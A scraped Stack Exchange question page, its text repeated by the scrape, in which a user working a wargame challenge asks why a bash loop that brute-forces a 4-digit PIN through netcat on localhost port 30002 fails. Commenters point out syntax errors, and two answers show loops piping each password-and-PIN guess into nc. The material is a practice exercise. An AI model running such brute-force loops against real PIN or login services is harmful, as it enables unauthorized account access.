Brute-force 4 digit pin with pass using shell script
Clash Royale CLAN TAG#URR8PPP
up vote
-2
down vote
favorite
I am doing some challenges. This is one them. I am trying to brute-force 4 digit pin with the password to get my desired answer. After connecting to the port It prompts me to enter the password then space then 4 digit pin. I tried to brute-force the pin using the script:
#!/bin/bash
nc localhost 30002
sleep 2
for i in 0000..9999;
if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i' </dev/stdin) = ^Wrong*]];
then
continue
echo '[+] Pincode Cracked! Pincode = $i'
fi
done
but it seems that this doesn't input the pass and pin to stdin, before i tried doing something like this -> if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i') = ^Wrong* ]];
What am I doing wrong here?
UPDATE:
Okay, so after researching around. I wrote this:
for i in 0000..9999
do
if [ (echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002 | grep -o Wrong) == "Wrong" ]
then
sleep 0.1
continue
fi
echo "- - - - - - - - - - - - - - - - - - - - - - - - [$i]"
done
This might even work but as you can see it opens new connections in the loop which makes it really slow and exhaust the system.
bash shell-script command-line loop-device nc
add a comment |Â
up vote
-2
down vote
favorite
I am doing some challenges. This is one them. I am trying to brute-force 4 digit pin with the password to get my desired answer. After connecting to the port It prompts me to enter the password then space then 4 digit pin. I tried to brute-force the pin using the script:
#!/bin/bash
nc localhost 30002
sleep 2
for i in 0000..9999;
if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i' </dev/stdin) = ^Wrong*]];
then
continue
echo '[+] Pincode Cracked! Pincode = $i'
fi
done
but it seems that this doesn't input the pass and pin to stdin, before i tried doing something like this -> if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i') = ^Wrong* ]];
What am I doing wrong here?
UPDATE:
Okay, so after researching around. I wrote this:
for i in 0000..9999
do
if [ (echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002 | grep -o Wrong) == "Wrong" ]
then
sleep 0.1
continue
fi
echo "- - - - - - - - - - - - - - - - - - - - - - - - [$i]"
done
This might even work but as you can see it opens new connections in the loop which makes it really slow and exhaust the system.
bash shell-script command-line loop-device nc
You're missing ado
in yourfor
loop.$i
is in single quotes in both places so it wont be expanded. You need a space after^Wrong*
and before]]
.continue
will cause it to skipecho '[+] Pincode Cracked! Pincode = $i'
every time.
â Jesse_b
Mar 22 at 21:56
3
Put your code into shellcheck.net When you have fixed the obvious syntax errors that will make it refuse to run come back (with corrected code) and ask the specific question(s) that you still need answering.
â roaima
Mar 22 at 23:36
add a comment |Â
up vote
-2
down vote
favorite
up vote
-2
down vote
favorite
I am doing some challenges. This is one them. I am trying to brute-force 4 digit pin with the password to get my desired answer. After connecting to the port It prompts me to enter the password then space then 4 digit pin. I tried to brute-force the pin using the script:
#!/bin/bash
nc localhost 30002
sleep 2
for i in 0000..9999;
if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i' </dev/stdin) = ^Wrong*]];
then
continue
echo '[+] Pincode Cracked! Pincode = $i'
fi
done
but it seems that this doesn't input the pass and pin to stdin, before i tried doing something like this -> if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i') = ^Wrong* ]];
What am I doing wrong here?
UPDATE:
Okay, so after researching around. I wrote this:
for i in 0000..9999
do
if [ (echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002 | grep -o Wrong) == "Wrong" ]
then
sleep 0.1
continue
fi
echo "- - - - - - - - - - - - - - - - - - - - - - - - [$i]"
done
This might even work but as you can see it opens new connections in the loop which makes it really slow and exhaust the system.
bash shell-script command-line loop-device nc
I am doing some challenges. This is one them. I am trying to brute-force 4 digit pin with the password to get my desired answer. After connecting to the port It prompts me to enter the password then space then 4 digit pin. I tried to brute-force the pin using the script:
#!/bin/bash
nc localhost 30002
sleep 2
for i in 0000..9999;
if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i' </dev/stdin) = ^Wrong*]];
then
continue
echo '[+] Pincode Cracked! Pincode = $i'
fi
done
but it seems that this doesn't input the pass and pin to stdin, before i tried doing something like this -> if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i') = ^Wrong* ]];
What am I doing wrong here?
UPDATE:
Okay, so after researching around. I wrote this:
for i in 0000..9999
do
if [ (echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002 | grep -o Wrong) == "Wrong" ]
then
sleep 0.1
continue
fi
echo "- - - - - - - - - - - - - - - - - - - - - - - - [$i]"
done
This might even work but as you can see it opens new connections in the loop which makes it really slow and exhaust the system.
bash shell-script command-line loop-device nc
edited Mar 23 at 18:02
asked Mar 22 at 19:13
Srijan Singh
43
43
You're missing ado
in yourfor
loop.$i
is in single quotes in both places so it wont be expanded. You need a space after^Wrong*
and before]]
.continue
will cause it to skipecho '[+] Pincode Cracked! Pincode = $i'
every time.
â Jesse_b
Mar 22 at 21:56
3
Put your code into shellcheck.net When you have fixed the obvious syntax errors that will make it refuse to run come back (with corrected code) and ask the specific question(s) that you still need answering.
â roaima
Mar 22 at 23:36
add a comment |Â
You're missing ado
in yourfor
loop.$i
is in single quotes in both places so it wont be expanded. You need a space after^Wrong*
and before]]
.continue
will cause it to skipecho '[+] Pincode Cracked! Pincode = $i'
every time.
â Jesse_b
Mar 22 at 21:56
3
Put your code into shellcheck.net When you have fixed the obvious syntax errors that will make it refuse to run come back (with corrected code) and ask the specific question(s) that you still need answering.
â roaima
Mar 22 at 23:36
You're missing a
do
in your for
loop. $i
is in single quotes in both places so it wont be expanded. You need a space after ^Wrong*
and before ]]
. continue
will cause it to skip echo '[+] Pincode Cracked! Pincode = $i'
every time.â Jesse_b
Mar 22 at 21:56
You're missing a
do
in your for
loop. $i
is in single quotes in both places so it wont be expanded. You need a space after ^Wrong*
and before ]]
. continue
will cause it to skip echo '[+] Pincode Cracked! Pincode = $i'
every time.â Jesse_b
Mar 22 at 21:56
3
3
Put your code into shellcheck.net When you have fixed the obvious syntax errors that will make it refuse to run come back (with corrected code) and ask the specific question(s) that you still need answering.
â roaima
Mar 22 at 23:36
Put your code into shellcheck.net When you have fixed the obvious syntax errors that will make it refuse to run come back (with corrected code) and ask the specific question(s) that you still need answering.
â roaima
Mar 22 at 23:36
add a comment |Â
2 Answers
2
active
oldest
votes
up vote
0
down vote
That's because you're not telling your script to write anything to nc
's standard input. Your script starts netcat, waits for it to terminate, and then sleep
s for two seconds before executing the for
loop. You probably want a construct such as:
for i in 0000..9999; do
: stuff
done | nc localhost 30002
add a comment |Â
up vote
-1
down vote
for i in 0000..9999; do echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002; done
add a comment |Â
2 Answers
2
active
oldest
votes
2 Answers
2
active
oldest
votes
active
oldest
votes
active
oldest
votes
up vote
0
down vote
That's because you're not telling your script to write anything to nc
's standard input. Your script starts netcat, waits for it to terminate, and then sleep
s for two seconds before executing the for
loop. You probably want a construct such as:
for i in 0000..9999; do
: stuff
done | nc localhost 30002
add a comment |Â
up vote
0
down vote
That's because you're not telling your script to write anything to nc
's standard input. Your script starts netcat, waits for it to terminate, and then sleep
s for two seconds before executing the for
loop. You probably want a construct such as:
for i in 0000..9999; do
: stuff
done | nc localhost 30002
add a comment |Â
up vote
0
down vote
up vote
0
down vote
That's because you're not telling your script to write anything to nc
's standard input. Your script starts netcat, waits for it to terminate, and then sleep
s for two seconds before executing the for
loop. You probably want a construct such as:
for i in 0000..9999; do
: stuff
done | nc localhost 30002
That's because you're not telling your script to write anything to nc
's standard input. Your script starts netcat, waits for it to terminate, and then sleep
s for two seconds before executing the for
loop. You probably want a construct such as:
for i in 0000..9999; do
: stuff
done | nc localhost 30002
answered Mar 22 at 21:52
DopeGhoti
40.2k54779
40.2k54779
add a comment |Â
add a comment |Â
up vote
-1
down vote
for i in 0000..9999; do echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002; done
add a comment |Â
up vote
-1
down vote
for i in 0000..9999; do echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002; done
add a comment |Â
up vote
-1
down vote
up vote
-1
down vote
for i in 0000..9999; do echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002; done
for i in 0000..9999; do echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002; done
edited May 1 at 10:09
Romeo Ninov
4,35811625
4,35811625
answered May 1 at 8:48
Hike Nalbandyan
11
11
add a comment |Â
add a comment |Â
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
StackExchange.ready(
function ()
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2funix.stackexchange.com%2fquestions%2f432904%2fbrute-force-4-digit-pin-with-pass-using-shell-script%23new-answer', 'question_page');
);
Post as a guest
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
You're missing a
do
in yourfor
loop.$i
is in single quotes in both places so it wont be expanded. You need a space after^Wrong*
and before]]
.continue
will cause it to skipecho '[+] Pincode Cracked! Pincode = $i'
every time.â Jesse_b
Mar 22 at 21:56
3
Put your code into shellcheck.net When you have fixed the obvious syntax errors that will make it refuse to run come back (with corrected code) and ask the specific question(s) that you still need answering.
â roaima
Mar 22 at 23:36